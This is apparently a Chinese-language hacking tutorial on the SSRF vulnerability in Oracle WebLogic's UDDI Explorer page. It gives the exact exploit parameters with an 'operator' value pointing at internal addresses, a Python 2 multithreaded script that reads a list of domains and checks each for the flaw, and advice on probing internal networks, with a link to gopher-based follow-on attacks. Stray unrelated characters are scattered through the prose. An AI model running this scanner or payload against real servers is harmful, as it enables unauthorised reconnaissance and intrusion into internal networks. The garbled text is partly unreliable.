0x01前言:
SSRF漏洞的原理這里就不在細(xì)說(shuō)了少欺,這里主要講解weblogic中SSRF漏洞的檢測(cè)辦法,以及利用手段。
0x02檢測(cè)漏洞:
2.1根欧、直接訪問(wèn):http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
2.2、向服務(wù)器提交以下參數(shù)
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
關(guān)鍵點(diǎn)是operator這個(gè)參數(shù)端蛆,訪問(wèn)7001端口時(shí)返回一個(gè)404的狀態(tài)碼凤粗。
2.3、訪問(wèn)一個(gè)不存在的端口會(huì)返回以下信息今豆。
可以通過(guò)返回的信息不同嫌拣,來(lái)判斷端口開放的狀態(tài)。
2.4呆躲、實(shí)戰(zhàn)挖掘的過(guò)程中總共遇到過(guò)以下幾種狀態(tài)(referer:http://zone.secevery.com/question/121):
狀態(tài)一异逐、
狀態(tài)二、
狀態(tài)三插掂、
狀態(tài)四灰瞻、
狀態(tài)五、
2.5批量檢測(cè)腳本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e
def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
0x03辅甥、利用手段
3.1內(nèi)網(wǎng)端口探測(cè)
我們可以根據(jù)返回的不同狀態(tài)信息酝润,來(lái)判斷內(nèi)網(wǎng)的IP是否存在以及對(duì)應(yīng)端口是否開放。這里有一個(gè)地方需要注意的是肆氓,需要知道目標(biāo)內(nèi)網(wǎng)網(wǎng)段袍祖。如果盲目的去進(jìn)行網(wǎng)段掃描會(huì)耗費(fèi)大量的時(shí)間。
實(shí)戰(zhàn)挖掘中發(fā)現(xiàn)這個(gè)位置有可能會(huì)泄露內(nèi)網(wǎng)網(wǎng)段谢揪。
確定網(wǎng)段之后可以使用腳本來(lái)進(jìn)行快速探測(cè)蕉陋。
SSRF不僅僅只是為了探測(cè)端口捐凭,更強(qiáng)大之處是在于探測(cè)到一些信息之后從而進(jìn)一步的利用.
更多的利用手段可以參考以下文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
0x04、Referer: